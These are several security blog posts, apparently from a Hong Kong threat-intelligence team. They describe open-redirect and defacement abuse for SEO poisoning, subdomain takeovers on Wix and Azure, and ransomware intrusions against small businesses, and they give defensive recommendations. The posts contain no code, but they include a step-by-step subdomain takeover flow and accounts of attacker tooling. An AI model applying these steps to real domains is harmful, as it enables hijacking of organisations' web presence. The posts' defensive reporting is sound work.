Whilst malicious actors do not need to infiltrate the victim environment to compromise their website for open redirection, in some cases we do observe threat actors gain internal access to compromise – or deface – sites for SEO poisoning. In a defacement attack, malicious actors obtain unauthorised access to a website, garnering the ability to modify the website contents, as well as other malicious activities such as deploying a web shell or establishing connection with their C2 for persistence.

In late 2024, we responded to an incident whereby a financially-motivated threat actor infiltrated the victim’s site via exploitation of the WordPress plugin GutenKit (CVE-2024-9234). The threat actor weaponised the vulnerable plugin to install various PHP-based web shells, facilitating additional access to multiple subdomains within the website’s directory, and uploads of gambling-related web contents.

Based on the language indicators contained within the web shell, as well as the displayed content on the defaced subdomains, we assessed the attack was performed by an Indonesian threat actor. Notably, our analysis of the web shells suggested that the Telegram API bot was embedded within. Notably, the bot is known to facilitate SEO poisoning tactics – such as automation of tasks for an enhanced, efficient gambling experience, and affiliate marketing.[3],[4]

Figure 7: .hk website defaced to display Indonesian gambling content

Microsoft IIS Servers (and ASP.NET)

Microsoft Internet Information Services (IIS) servers are frequently abused for open redirections due to their widespread use, configuration complexity, and presence of legacy systems. IIS servers often host ASP.NET applications, which can be susceptible to open redirect attacks if not properly secured. This is due to ASP.NET applications typically using query strings and form data for redirection, which can be manipulated by malicious actors if not validated.

Case Study #4: IIS Server hosting PHP and ASP.NET

PHP and IIS can work together to host PHP applications on Windows servers. This is evidenced below, as we observed multiple subdomains abused to redirect users to adult content sites. We hypothesise the purpose of directing users to these sites is likely to further redirect users to phishing sites to gather personally identifiable information (PII), extort victims via cheating scandals[5], or deliver malware.

Figure 8: Redirection link abusing PHP web applications to adult content sites
Figure 9: Compromised domain observed to be IIS server hosting PHP and ASP.NET applications

2. Other issues that could lead to open redirection abuse

In addition to vulnerable or misconfigured web applications, there are alternative means in which threat actors may exploit web servers for open redirection.

Content-Security-Policy – “unsafe-allow-redirects”

Content-Security-Policy (CSP) is a HTTP security feature that allows website administrators to specify which sources of content are trusted and can be safely loaded by the browser. Unsafe-allow-redirects in a CSP allows for redirects, including HTTP status codes like 301, 302, 307, and 308, as long as the final destination complies with the CSP. This could potentially permit redirects leading to untrusted or potentially harmful sites, and is a feature that should be used with caution. To safely utilise unsafe-allow-redirects, strict whitelisting is recommended, further supplemented with ongoing monitoring and periodic audits of the overall CSP to adapt to the latest threats and ensure it remains effective. 

Case Study #5: unsafe-allow-redirects

In this case, we detected a local government website abused to route traffic to adult content sites. Upon examining the impacted subdomain, we observed the unsafe-allow-redirects feature enabled. As at the time of our investigation, it was observed the redirection links had become invalid and no longer functional. However, the cached redirect meant that the links still displayed in search results – posing potential reputational damage, even if the links were no longer active.  

Figure 10: Compromised domain with unsafe-allow-redirects enabled

Leaked FTP Credentials

In other cases, threat actors weaponise valid File Transfer Protocol (FTP) credentials to facilitate their open redirection attacks. These credentials are likely obtained via the dark web, and are leveraged to inject JavaScript code into websites. In these cases, the threat actor would possess the ability to perform additional malicious activities such as defacement or potential data exfiltration, given internal access to victim environments. In late 2022, researchers tracked a campaign weaponising legitimate websites intended for East Asian audiences to direct users to adult-themed content.[6]

Subdomain Takeover to Display Indonesian Gambling Sites

In addition to using open redirects, malicious actors have been observed to exploit expired domains for subdomain takeovers to display Indonesian gambling content. A subdomain takeover occurs when a subdomain (e.g., sub.example.com) points to a removed or deleted service, leaving the CNAME record in the Domain Name System (DNS) still active – a “dangling” DNS entry. This creates an opportunity for attackers to provide their own virtual host and host their content.

The typical attack flow is as follows:

  1. Creation: An organisation creates a new subdomain, which is assigned a CNAME record pointing to a service (e.g., sub.example.com pointing to sub-service.provider.com).
  2. Deprovisioning: The service is removed or deleted, but the CNAME records remains existing within the DNS, creating a “dangling” DNS entry.
  3. Discovery: A malicious actor discovers the dangling subdomain via automated scanning tools and/or manual checks.
  4. Takeover: The malicious actor provisions a new service with the same fully qualified domain name (FQDN) as the original (e.g., sub-service.provider.com).
  5. Redirection: Traffic intended for the original subdomain is now redirected to the attacker’s service, allowing them to host their own content.

Case Study #6: Wix Subdomain Takeover

In early 2025, we notified a local education victim regarding the compromise of their subdomain to display Indonesian gambling content. The impacted subdomain was observed to be hosted on Wix and intended for a short-term event-related campaign; hence the eventual deprovisioning of the site.

The threat actor discovered the dangling DNS entry and proceeded to create a new Wix site displaying gambling-related content, and assigned it with the same subdomain as observed in the CNAME record ([redacted].wixdns.net). As a result, any new traffic to the subdomain would be directed to the attacker’s Wix site.

Figure 11: Original DNS CNAME Record
Figure 12: Wix Site Taken Over to Display Betting Content 

Case Study #7: Azure Subdomain Takeover

In another case, we observed a subdomain pointing to an Azure service which was compromised to also display Indonesian gambling content. The attack flow remains the same; the Azure service (e.g., sub-service.azurewebsites.net) is deleted, leaving the CNAME record dangling. The attacker discovered this, and subsequently provisioned a new Azure service with the same FQDN (sub-service.azurewebsites.net).

Figure 13: Original DNS CNAME Record
Figure 14: Attacker’s new Azure service

Subdomains hosted on Azure face a relatively heightened risk of CNAME takeover. This is given the CNAME is unique – making it easier for attackers to take over the dangling DNS, whilst in the case of Wix the CNAME is not unique and attempts may not always result in a successful hijacking. Generally speaking, any services used whereby subdomains can (and are) being easily created/deleted are at risk of leaving dangling DNS records if the appropriate remediation steps are not implemented.

Conclusion

As evidenced through our ongoing monitoring, SEO poisoning attacks show no signs of slowing down. These attacks pose a significant and growing threat, primarily impacting reputational integrity, user trust, and potentially leading to legal consequences. However, the danger extends beyond these immediate risks. Attackers with internal access can escalate their malicious activities, deploying web shells, performing lateral movements, and engaging in extortion through data exfiltration or ransomware.

As these campaigns increase in frequency and sophistication, it is imperative for organisations to stay vigilant and implement robust security measures. Regular security audits and proactive configuration assessments are essential to minimize vulnerability to such attacks. By maintaining a strong security posture, organisations can protect their reputation, uphold user trust, and prevent their brand from being exploited for malicious purposes.

Why are these attacks persisting? Read Part One: Redirected, Taken Over, & Defaced: Legitimate Hong Kong Websites Abused to Serve Users to Online Gambling and Adult Content

Recommendations and Best Practices

Minimise the threat of open redirect abuse:

PreventionAvoid user-controllable data in URLs where possible. Per OWASP’s CheatSheet to prevent unvalidated redirects and forwards[7];

– Do not allow the URL as user input for the destination.
– Implement access controls to restrict unauthorised modifications – such as requiring the user to provide short name, ID, or token which is mapped server-side to a full target URL.
– Appropriate checks to validate the supplied value is valid, appropriate for the application, and authorized for the user.
– Sanitise input by creating an allowlist of trusted URLs (e.g., hosts or regex).
– Ensure all redirects first notify users that they will be redirected to another site, clearly displaying the destination URL, and requiring the user to click a link to confirm.  

Detailed recommendations for validating and sanitising user-inputs here.[8]
Detection– Deploy continuous, automated attack surface monitoring to proactively detect, validate (e.g., simulate payload injection), and remediate URLs vulnerable to open redirection attacks.

– Use regular expressions (regex) patterns to scan web server logs for suspicious redirection patterns (e.g., URLs that include external domains in redirection parameters).

– Implement logging and monitoring of redirection activities; analyse logs for unusual redirection patterns (e.g., frequent redirections to external sites).
Remediation StepsIf your website has fallen victim to open redirection:

– Disable the affected URL(s) to prevent further abuse.
– Conduct a thorough investigation to identify the vulnerability exploited and extent of the abuse.
– Apply necessary patches and hardening measures to secure the website against similar attacks.
– Perform an audit to ensure no other websites have been compromised.
– Inform users regarding the incident and provide advice on steps taken to secure their data and the website.
Individuals’ User AwarenessUsers should perform checks to validate the legitimacy of the website they are providing information to.   Recognise suspicious URLs and websites:

– Before clicking link, hover over the link to see the actual URL.
– Check for spelling or grammatical errors in the domain name and website contents itself (e.g., brand name spelled wrong).
– Ensure URL is secure (HTTPS rather than HTTP).
– Trust your browser; modern browsers often warn you if you are about to visit a suspicious or known phishing site.
– Use online URL scanners, such as VirusTotal, to determine if the website has been flagged as malicious. Other indicators observable from these platforms is the recency of the domain creation (e.g., newly created domains could indicate it to be phishing).
Compliance and Legal ConsiderationsMay involve legal responsibilities related to protecting user data and preventing phishing attacks.

Minimise the threat of subdomain takeovers and defacements:

PreventionReduce your “low hanging fruit” through continuous attack surface monitoring to proactively identify and remediate potential entry points;
– 24×7 dark web monitoring to swiftly detect and remediate compromised data (e.g., leaked credentials from infostealer dumps).
– 24×7 social media listening and brand reputation monitoring to identify mentions or impersonation attempts of your organisation.
– Consider an offensive approach to Threat and Vulnerability Management for real-time visibility of your attack surface through autonomous, rapid detection and remediation.
– 24×7 young domain monitoring to proactively uncover potential phishing campaigns impersonating your organisation.

– Regularly perform security audits and penetration tests to identify and fix misconfigurations in your web applications and servers. Ensure secure coding practices are enforced.

– Maintain an up-to-date inventory and establish a prioritised patch management plan to ensure rapid patching for technologies known to be frequently abused by threat actors.

– Review and harden Internet-facing applications’ access controls and safeguards (e.g., web application firewall, password policies, multi-factor authentication, etc.).

– Regularly audit your DNS records to identify and remove any CNAME records pointing to deprovisioned services.

– Enforce a strict policy to standardise the deprovisioning of resources (e.g., ensuring DNS entries are removed once the service is deprovisioned). 
Detection– Consider implementation of real-time monitoring of DNS changes, including updates to CNAME records, to detect and remediate any unauthorised modifications.

– Consider implementation of a File Integrity Monitoring (FIM) solution on backend servers (e.g. IIS) to monitor for anomalous file modification activity (e.g. file creation, modification, or deletion).

Alternatively, consider the use of canary tokens to detect for defacement attacks. For example;
– Webpage monitoring – embed canary tokens within webpages. If any unauthorised modifications are detected, this will trigger an alert.
– File integrity monitoring – canary tokens may be placed in critical files on your web server. If these files are accessed or altered, the token will trigger an alert.
Remediation StepsIf your website has fallen victim to a defacement:

– Take the affected page offline to prevent further damage.

– Conduct a thorough investigation to determine the root cause and extent of the breach. Given unauthorised access to internal environments, ensure to check for other malicious activities such as lateral movement, credential harvesting, deployment of web shells or other malware, etc.

– Apply necessary patches and updates to remediate vulnerabilities. Further, refer to and implement the preventive and detective recommendations above.

– Restore the webpage from your latest, clean backup.

– Notify all relevant stakeholders regarding the incident and the steps being taken to address it.
Compliance and Legal ConsiderationsMay involve legal implications such as complying with data protection regulations, notifying affected users and stakeholders, and maintaining thorough documentation to demonstrate due diligence.

Further information

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

Redirected, Taken Over, & Defaced: Legitimate Hong Kong Websites Abused to Serve Users to Online Gambling and Adult Content

Posted on by darklabhk

Per our continuous monitoring, Dark Lab has tracked multiple open redirection, site takeovers, and defacement cases weaponising Hong Kong organisations’ websites. Typically exploited to serve users to adult content, online gambling, and/or phishing sites, these attacks pose significant risks to organisations – including reputational damage, loss of user trust, and potential legal implications. In cases whereby attackers achieve internal access, organisations may face added risks given malicious actors’ unauthorised access to victims’ internal environments – providing opportunity to further perform malicious activities such as web shell deployment, data exfiltration, and more.

We observe this emerging trend reflected via open-source intelligence, with various reports of Search Engine Optimisation (SEO) manipulation abusing legitimate sites have been weaponised to direct users to Indonesian gambling sites. In addition, we have detected numerous newly registered domains promoting similar gambling content at scale. Per our ongoing young domain monitoring, we observed over 190 newly registered domains containing the keyword ‘slot’ in a single day. This highlights the sheer volume at which Indonesian gambling-themed sites are being distributed for financial gain.

As threat actors continuously adapt their means to attacks, it is crucial that organisations remain wary of the latest threats and harden Internet-facing assets accordingly – particularly those built on technologies frequently targeted by malicious actors.  

This blog is part of a two-part series – stayed tuned for our deep dive into the technical details and how you can defend against these emerging threats.

Hong Kong Websites Abused for SEO Poisoning

SEO poisoning, otherwise known as SEO manipulation, is a technique in which malicious actors manipulate search engine rankings to make their attacker-controlled websites appear at the top of search results. Since late 2024, we have observed the emergence of open redirection and web defacement attacks against legitimate Hong Kong websites, weaponizing the trusted site to push online gambling-related and adult content. This further led to our discovery and subsequent monitoring of subdomain takeovers geared towards delivering similar content.

In Q1 2025, we tracked 34 cases of open redirection attacks – whereby malicious actors exploited (sub)domains with insufficient validation to craft URLs that redirect users to their malicious site(s):

Note: recent tracking indicates heightened targeting against non-commercial sectors 

Similarly, throughout Q1 2025, we tracked 38 cases of web defacements against Hong Kong. Rather than redirecting unsuspecting users to an untrusted, third-party website – the attacker exploits vulnerable web servers to display their malicious content directly on the victim’s site.  

Case Study: Hong Kong Not-for-Profit Webpage Compromised for Defacement AND Open Redirection to Online Gambling Content

In mid-March, we observed a case in which a local not-for-profit’s subdomain was compromised to both deface the webpage with Indian online gambling content, and further redirect to their attacker-controlled site hosting similar gambling content. Investigation into the compromised subdomain revealed the likely root cause, being its susceptibility to various known PHP-related vulnerabilities.

Figure 1: Impacted server observed to be vulnerable to various PHP-related vulnerabilities, allowing for unsafe redirects
Figure 2: Defacement of not-for-profit subdomain to serve online gambling and sports betting content
Figure 3: Open Redirection of same subdomain to Indian online gambling site

Why is Asia at the centre of these attacks?

Whilst we focused our tracking on abuse of Hong Kong websites, we have observed multiple recent reports of similar cases indicating an ongoing, regional abuse of websites across the wider Asia Pacific. These campaigns typically redirect users to online gambling or adult content sites. But why?

Indonesian Gambling Sites

Multiple cases we, as well as public reporting observed, served users to online gambling sites intended for the Indonesian audience. We posit this correlates to government efforts to tackle online gambling in the country following the recent October 2024 election, evidenced by their recent implementation of artificial intelligence (AI) to block illegal gambling content.[1],[2],[3]

Despite gambling bans since 1993, Indonesia faces a staggering gambling problem, largely amplified through online gambling. In 2023, the country was reported to experience an approximate loss of $30.7 billion due to online gambling – distributed across four (4) million online gamblers, 11% of which were under the age of twenty (20).[4] We posit that the SEO manipulation observed in the aforementioned cases is a means in which the online gambling operators may counteract their loss of income as a result of law enforcement takedown.

This was (and continues to be) reflected in the case of Philippines’ ban of Philippine Offshore Gaming Operators (POGOs) in late 2023. Following the demise of the POGO industry, POGO operators swiftly repurposed their infrastructure and personnel to conduct various illicit scam activities.[5],[6] In addition to the operators themselves, it was suspected that other opportunistic threat actors jumped on the bandwagon; establishing phishing sites masquerading as online gambling operators to prey on vulnerable individuals. As we projected in our 2025 Cyber Threat Landscape Predictions blog, we anticipate a continued growth in SEO campaigns pushing online gambling phishing sites amidst regional crackdown.[7]

Another angle to consider, reflected in both the cases of Indonesia and the Philippines, is that most online gambling operators are from abroad. Capitalising on the “grey area” of the laws in place, these offshore operators may bypass legal implications whilst still serving their gambling content to Indonesian and Philippine users. We observe discussion on how to achieve financial gain through this ‘loophole’ both through legitimate affiliate marketing platforms[8], and dark web discussions.

Figure 4: Dark web discussion seeking advice for SEO strategy and Digital Marketing for “Indonesia in which casino and gambling is banned”
Figure 5: Dark web discussion providing “iGaming SEO tips for your casino”

What was further observed throughout our monitoring is the frequent use of Google Tag Manager (GTM) as a driver to further enhance the SEO ranking of these online gambling sites. Operating as a free management platform intended for marketers to manage and configure marketing tools – such as AdSense and Google Analytics – it is no surprise that the actor(s) behind these sites abuse the legitimate platform to expand the visibility of their sites, and by extension increase their likelihood of return on investment.[9]

Figure 6: Google Tag Manager tag observed embedded within online gambling sites

Adult Content

The motives behind the regional targeting to redirect users to adult content appears less obvious. Some factors we suspect play a role in Asia’s heightened targeting is the high Internet usage, varied levels of Internet governance in the region, and cultural factors that may restrict access to such content.

We posit a number of potential motivations could be behind these attacks:

  • SEO Manipulation: By exploiting redirects, malicious actors may manipulate search engine rankings to drive more (inorganic) traffic to their sites.
  • Traffic Monetisation: By redirecting users to adult content, malicious actors may generate revenue through affiliate programs or ad networks that pay for traffic.
  • Malware Distribution: The malicious sites disguised as adult content may lead to malware infections (e.g., drive-by downloads, exploit kits, etc.).
  • Phishing: The adult content site may contain malicious advertising (malvertising) or embedded links, which may further redirect the user to phishing sites intended to collect their sensitive information.
  • Social Engineering Scams: A previous campaign saw adult content sites further redirect users to dating sites, intended to perform romance scams.[10]

Conclusion

SEO poisoning poses an active and increasing threat. Whilst in most cases, risks are primarily threats to reputational damage, loss of user trust, and potential legal implications, we do observe multiple instances in which attackers may inflict further harm given their internal access to victims. In these cases, they not only may perform open redirects or defacements to present their malicious content, but have the opportunity to deploy web shells, perform lateral movement, and means of extortion such as data exfiltration or ransomware deployment.

The potential follow-on impact is evidenced in the widescale campaign leveraging DragonRank malware to target victims in Asia and Europe for SEO rank manipulation.[11] Whilst the primary goal of the abuses was to drive traffic to malicious sites, the threat actors further leveraged their unauthorised access to perform lateral movement and credential harvesting, likely for use in subsequent attacks.

As these campaigns amplify in speed and scale, it is crucial that organisations remain aware of these threats and implement robust security measures to minimise susceptibility to such attacks. This includes performing regular security audits to assess and uplift configurations. By staying vigilant and proactive, organisations can safeguard their reputation, maintain the trust of their users, and ensure that their brand is not weaponised to facilitate malicious activities.

Stay tuned for our Part Two, as we delve into the technical – breaking down how these techniques work, what vulnerabilities and technologies are often involved, and how you may defend against these ever-present threats!

Further information

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

Ransomware’s Uneven Playing Field: Re-Thinking Protection and Detection from Small and Medium Enterprises

Posted on by darklabhk

Recently, Dark Lab attended a conference to present the lessons learnt from ransomware incidents impacting small and medium enterprises (“SMEs”), and how these lessons learnt can help us find effective measures against ransomware threats.

Apart from our experience dealing with ransomware, it has been reported by the industry, that 85% of ransomware attack victims are small businesses.[1] These businesses present as lucrative targets for opportunistic ransomware actors, given their limited access to resources to implement robust security solutions.

In the past year, we have responded to numerous ransomware incidents involving small to medium enterprises (“SMEs”) that lack of the resources to invest in advanced security tools such as Endpoint Detection and Response (“EDR”) or Security Information and Event Management (“SIEM”) systems. Despite the absence of these tools, our incident response efforts have revealed simple controls that can effectively serve as containment, preventive, or damage-control measures.

Our presentation covered several ransomware incidents involving both well-known operators and newcomers to the field. We provided our insights into the threat intelligence associated with these actors, analyse the Tactics, Techniques, and Procedures (“TTPs”) used compared to large-scale ransomware, and share lessons learned from handling these incidents, including mistakes made by the threat actors. We further note the potential applications of these strategies in larger enterprises as a means to strengthen their own posture.

This blog will deep dive into the threat intelligence associated with the current ransomware landscape, the Tactics, Techniques and Procedures (“TTPs”) behind ransomware attacks, and our lessons learnt along with the insights from previous incident experience.

The Current Ransomware Landscape

Figure 1: Overview of changes in the ransomware landscape

In 2024, we observe an increasingly unpredictable and diverse ransomware landscape following multiple disruptive events that have reshaped how the ransomware ecosystem operates today.

Figure 2: Timeline of 2024’s “major disruptors” in the ransomware and wider cybercriminal landscape

Significant catalysts for these shifts include the persistence of law enforcement disruptions against larger Ransomware-as-a-Service (RaaS) operators, as exemplified in the ongoing #OpCronos against LockBit. Not to mention BlackCat’s alleged exit scam following allegations of failure to payout their affiliate for their attack on UnitedHealth.

These two instances alone incited heightened scepticism and distrust within the cybercriminal community, leading to a shift away from these “market leaders”. Quickly, we observed smaller and new players seize this opportunity to establish their presence within the ransomware ecosystem. Not only applying the lessons learnt from the downfalls of bigger players, and factoring in the changes to the ways in which victims respond to ransomware attacks, we observe these new joiners seeking to distinguish themselves and increase their chances of success through alternative means of approaching ransomware attacks. For example;

Figure 3: Latest trends observed amongst newer ransomware groups

A Focus on SMEs

Contrary to the misconception that SMEs are not a priority for ransomware groups due to the lower payout opportunity, we observe the majority of ransomware attacks are targeted against SMEs. This is as larger enterprises are now well-equipped with security solutions designed to prevent and detect against impending threats, thus posing SMEs as enticing targets for a higher likelihood of success.

We attribute this to a number of factors; limited funds to invest in cybersecurity professionals and technologies, lack of preparedness to respond to an attack, and the impact that operational disruptions may have on the viability of the business. Statistically, 75% of SMEs could not continue operating beyond seven (7) days if hit by ransomware [2], whilst 20% of SMEs that fell victim to a ransomware attack paid the ransom.[3] Furthermore, learning from the cases of LockBit and BlackCats’ notoriety, newer players seek to evade attention from media and law enforcement; conducting lower-profile attacks to maintain their presence and longevity.

Who’s targeting SMEs?

Figure 4: Snapshot of ransomware operators known to target SMEs

As seen in the image above, we observe both established RaaS operators who we track and know well, and newer players, experimental in the approaches to ransomware attacks, targeting SMEs. We note that this list is not exhaustive given the opportunistic nature of ransomware actors, and is further applicable in the context of larger enterprises.

With newer groups diversifying their attack methods and creating an increasingly ‘unpredictable’ ransomware threat, how can we stay focused?

Focusing on the “critical path”

Despite the abundance of new players on the market – bringing new approaches and techniques used to facilitate their attacks – we still observe overarching commonalities in their Tactics, Techniques, and Procedures (“TTPs”).

Figure 5: MITRE ATT&CK Heatmap – highlighting the most frequently leveraged TTPs*

The above MITRE ATT&CK heatmap compiles the TTPs used by various aforementioned threat actors. By focusing on the most frequently used TTPs (highlighted in red and orange), we can prioritise our efforts to strengthen defences against these techniques, creating a ‘critical path’ for us to focus our efforts in devising protection and detection.

This critical path provides a holistic view of RaaS operators, not just applicable to SMEs but all types of victims. In the case of SMEs, given the limited access to resources, this critical path provides a realistic baseline to focus resources on preventing and detecting against ransomware threats.

Our experience responding to ransomware attacks against SMEs

To consider how this “critical path” translates into real life, we referenced some historic cases we have battled, and the lessons learnt. Specifically, we deep dived into three (3) case studies, attributed to RansomHouse, SEXi (a.k.a. APT Inc.), and LockBit, respectively.

Each case study shared commonality in that initial access was obtained via breaching perimeter devices e.g., SSLVPN. However, the case studies provided a useful comparison on the degree of impact incurred within an SME environment depending on the presence (or lack thereof) sufficient security controls.

Figure 6: Case Studies – highlighted in pink are the techniques performed in these incidents

Case Study 1: RansomHouse affiliate (an “Old Guard”)

Figure 7: High-level timeline of incident attributed to RansomHouse affiliate

In the first case study, the RansomHouse affiliate achieved initial access via a known vulnerability. The affiliate proceeded to perform account brute forcing and network scanning using the commonly leveraged, SoftPerfect Scanner. Obtaining a service account granted with administrative privileges, the affiliate proceeded to perform Remote Desktop Protocol (RDP) for lateral movement. Notably, the service account was secured with a weak password and the last date of password reset was the same as its creation date – a common issue we have observed across SMEs, whereby they use a weak password for account creation, and subsequently neglect to change the password later.

The affiliate further enumerated the victim’s environment, obtaining additional credentials to access their ESXi, Network Attached Storage (NAS), various databases and Software-as-a-Service (SaaS) platforms. With their better understanding of the victim’s environment and the “crown jewels” to target for sensitive data, the affiliate proceeded to deploy the AnyDesk remote access software and a PowerShell script. This resulted in large outbound data exfiltration over 700 gigabytes (GB) of data before removing backups and deploying ransomware across their Network Attached Storage (NAS), backup servers, and virtual infrastructure (VMware ESXi) servers.

This case study highlights the sheer impact of a ransomware attack in environments lacking network segmentation, password policy enforcement, and sufficient access controls.

Case Study 2: SEXi affiliate (“New Blood”)

Figure 8: High-level timeline of incident attributed to SEXi (a.k.a. APT Inc.) affiliate

In our incident attributed to an affiliate of SEXi (now rebranded as APT Inc.) ransomware, the affiliate infiltrated via a SSLVPN entry, landing on a demilitarised zone (DMZ) server subnet. The affiliate was also observed to deploy the SoftPerfect Scanner for network discovery, resulting in the identification of a vulnerable Veeam Backup & Replication server. Exploiting the vulnerability to create a new local admin account, the threat actor proceeded to perform credential dumping on the Veeam server, obtaining valid ESXi and NAS credentials.

Pivoting to the ESXi and NAS servers, the SEXi affiliate proceeded to deploy their ransomware and delete all backup data on the NAS. Due to network segmentation in place, ransomware deployment was contained within the DMZ, and no data exfiltration was observed.

Case Study 3: LockBit affiliate (another “Old Guard”)

Figure 9: High-level timeline of incident attributed to LockBit affiliate

In our latest battle with LockBit, the affiliate infiltrated via a SSLVPN server using a valid SSLVPN account. In this case, the SSLVPN account belonged to a third-party vendor and had a weak password which had not been changed for over three (3) years. The affiliate landed on a DMZ zone, though due to poor network segmentation in place, the SSLVPN account was capable of accessing a management subnet with /16 IP addresses – a significantly large IP address range for the threat actor to access, not to mention a vendor.

Due to password reuse, the LockBit affiliate proceeded to takeover an administrator account, leveraged to laterally move to additional environments via RDP protocol. Notably, the admin account was utilised to perform a DCSync attack on the Domain Controller (DC). The affiliate then proceeded to perform data staging, focused on discovering Excel, PDF, and Word documents contained within shared folders. At this point, the affiliate installed MegaSync, a legitimate tool for data transfers, and created a folder for file staging. The affiliate then deployed ransomware. However, due to outbound network restrictions in place – no data exfiltration was involved.

Notably, the victim was not observed to be listed on LockBit’s dedicated leak site, which we hypothesised was due to their inability to exfiltrate data from the victim’s environment. This highlights the effectiveness in file transfer restrictions in not only mitigating against the compromise of data, but the ability to avoid reputational damage from public awareness of the ransomware incident.

Case Study Comparison; Same Same (TTPs), But Different (Impact)

Comparison of these similar attacks highlight how enforcing simple controls to restrict malicious activity can significantly minimise the impact of ransomware attacks.

Figure 10: Case Studies – summary of key observations

Through our incident experience, we highlight the following common issues in SMEs:

  • Initial access is achieved through preventable “low hanging fruit”, such as;
    • Commodity VPNs (e.g., Fortinet SSLVPN, SonicWall SSLVPN, etc.)
    • Infostealer data and credentials leaked on dark web
  • Lack of awareness and/or implementation of:
    • Strong password policies – guidelines that enforce the creation and use of complex, hard-to-crack passwords
    • Patch management – regular updating of software to remediate susceptibility to vulnerabilities that otherwise may be exploited by malicious actors
    • Perimeter services – security measures that protect the outer boundaries of a network, such as firewalls and intrusion detection systems (IDS)
    • Network segmentation – practice of dividing a network into smaller, isolated segments to limit access and lateral movement opportunities

What can SMEs do to minimise the risk and impact of ransomware threats?

From basic hardening configurations within Active Directory to enabling detection with honeytokens and strategically planning network restrictions, we share practical tips and strategies that we have implemented in our clients’ environments. This demonstrates how small businesses can reduce their risk from a full-scale ransomware attack or minimize the impact of such events. Additionally, we note that these strategies can be further leveraged by larger entities to strengthen their own environments.

Initial Access

Threat actors often seek “low hanging fruit” to gain initial access. For example, exposed SSLVPN gateways are frequently brute forced by malicious actors using leaked credentials. 

The following tips can aid SMEs in minimising their attack surface exposure to reduce the risk of unauthorised access.

On the perimeter-level, SMEs can consider the follow tips to minimise their attack surface exposure;

  • Stock take exposed services, patch or restrict administrative portals
  • Trim down access from SSL VPN to internal network
  • Isolate the systems with legacy operating systems

Access controls can further limit the opportunity for threat actors to infiltrate and/or persist in their post-compromise stages;

  • Housekeep accounts, and strengthen existing multi-factor authentication
  • Trim down access from SSL VPN to internal network
  • Use a separate set of credentials for SSL VPN access

Discovery

Threat actors typically use tools like Network Scanners (e.g., SoftPerfect) that rely on file shares to enumerate files for targeting.

A file share is a network resource that allows multiple users or devices to access and share the files and folders over a network. Threat actors frequently leverage these file shares to identify files of interest (e.g., containing ‘password’, ‘confidential’, ‘finance’, ‘secret’, ‘backup’, ‘admin’, etc.).

Figure 11: Sample file share discovery

To restrict the opportunity for threat actors to perform discovery via file shares, we recommend:

  • Perform a stock-take on file servers to identify critical files housing sensitive and/or confidential data
  • Review what users are allowed to access critical files, and restrict access based on the principle of least privilege

Canary tokens[4], otherwise known as a honey tokens, provide another avenue for proactive threat detection. Canary tokens are a digital identifier embedded within files, URLs, or systems to detect unauthorised access or activity. When an attacker interacts with a canary token, it triggers an alert to notify administrators of a potential breach.

Figure 12: Canary Token for Network Folders[5]
Figure 13: Canary Token for Windows Folders[6]

Lateral Movement

Threat actors target privileged accounts as part of their intrusion, in particular Domain Admins, leveraging their heightened privileges to perform various activities, spanning from data collection and exfiltration to ransomware deployment.

This begs the question; Do we really need to use “Domain Admins” for day-to-day operations?

Tips to secure domain admin accounts and reduce opportunities for lateral movement:

  • Account tiering is an effective means to reduce the risk of credential theft for administrative accounts. In short, it is the process of categorizing accounts and systems into tiers based on criticality. According to Microsoft, the “tier model creates divisions between administrators based on what resources they manage….[so that] admins with control over user workstations are separated from those that control applications”.[7] 
  • Enforce logon restrictions to ensure highly privileged accounts do not possess access to less secure resources. For example, domain admins (tier 0) should not possess permissions to access user workstations (tier 2).[8]
  • Restrict login attempts from Remote Desktop Services[9]
  • Ensure critical systems are kept up-to-date with regular patching. This involves referencing the systems categorized as critical (or “tier 0), and prioritizing these systems in your patch management process. As an example, Veeam Backup & Replication[10] and ESXi instances [11] are regularly targeted by multiple groups for ransomware deployment.  

Exfiltration (and Remote Access)

Threat actors frequently abuse legitimate solutions to facilitate their remote access (e.g., AnyDesk, TeamViewer, etc.) and data exfiltration (e.g., MegaSync, Rclone, etc.). Furthermore, in some cases we observed that host-based firewall may have been controlled by a compromised administrative account.

To detect for the malicious misuse of these legitimate tooling and/or accounts, we advise the use of an Active Directory-Integrated DNS (ADIDNS) sinkhole – ensuring proper Access Control Lists (ACLs) are configured.

A DNS sinkhole, otherwise known as a sinkhole server, is a DNS server that provides false information to prevent the use of domain names. It is a strategy used to block malicious traffic. When a device attempts to access a known malicious domain, the DNS sinkhole redirects the request to a non-routable address, effectively “sinking” the traffic and preventing the device from connecting to a harmful site.[12]

Figure 14: DNS Sinkhole

Conclusion

As the ransomware landscape continues to evolve and diversify in the threats faced, focusing on identification of predictable TTPs, or even a ‘critical path’, helps us prioritize efforts to defend against the most pertinent threats.

Whilst SMEs may struggle due to their technical limitations and resources, we hope this blog helps provide insight in the simple, yet effective means in which SMEs can uplift their security posture. As a reminder, implementation of these strategies requires carefully designed architecture and process planning (e.g., appropriate access controls, standard operating processes) to maintain effectiveness. Furthermore, we note that these approaches are universal and applicable in larger enterprises, providing proactive opportunities to harden your security posture.

What lies ahead for the future of ransomware?

As organisations increasingly shift to cloud and integration of Software-as-a-Solution (SaaS), we expect to see increased targeting against these environments. Whilst we already observe ransomware actors selling compromised databases, we project an uptick in the reselling of access for re-intrusion into victim environments by other threat actors. The application of artificial intelligence (AI) and automation intelligence within the cybercriminal is a continued discussion, as we anticipate threat actors expanding beyond the use of AI for content generation (in the context of social engineering) to other applications. There’s no telling for certain what else the future holds, but for now, let’s concentrate on safeguarding ourselves against the most crucial threats.

MITRE ATT&CK TTPs for the “Critical Path”

We include the observed MITRE ATT&CK tactics and techniques highlighted in the “critical path”:

MITRE IDMITRE ATT&CK TacticMITRE ATT&CK Technique
T1583Resource DevelopmentAcquire Infrastructure
T1587Resource DevelopmentDevelop Capabilities
T1588Resource DevelopmentObtain Capabilities
T1566Initial AccessPhishing
T1190Initial AccessExploit Public-Facing Application
T1078Initial AccessValid Accounts
T1133Initial AccessExternal Remote Services
T1059ExecutionCommand and Scripting Interpreter
T1053ExecutionScheduled Task/Job
T1047ExecutionWindows Management Instrumentation
T1106ExecutionNative API
T1204ExecutionUser Execution
T1569ExecutionSystem Services
T1136PersistenceCreate Account
T1543PersistenceCreate or Modify System Process
T1098PersistenceAccount Manipulation
T1505PersistenceServer Software Component
T1547PersistenceBoot or Logon Autostart Execution
T1055Privilege EscalationProcess Injection
T1134Privilege EscalationAccess Token Manipulation
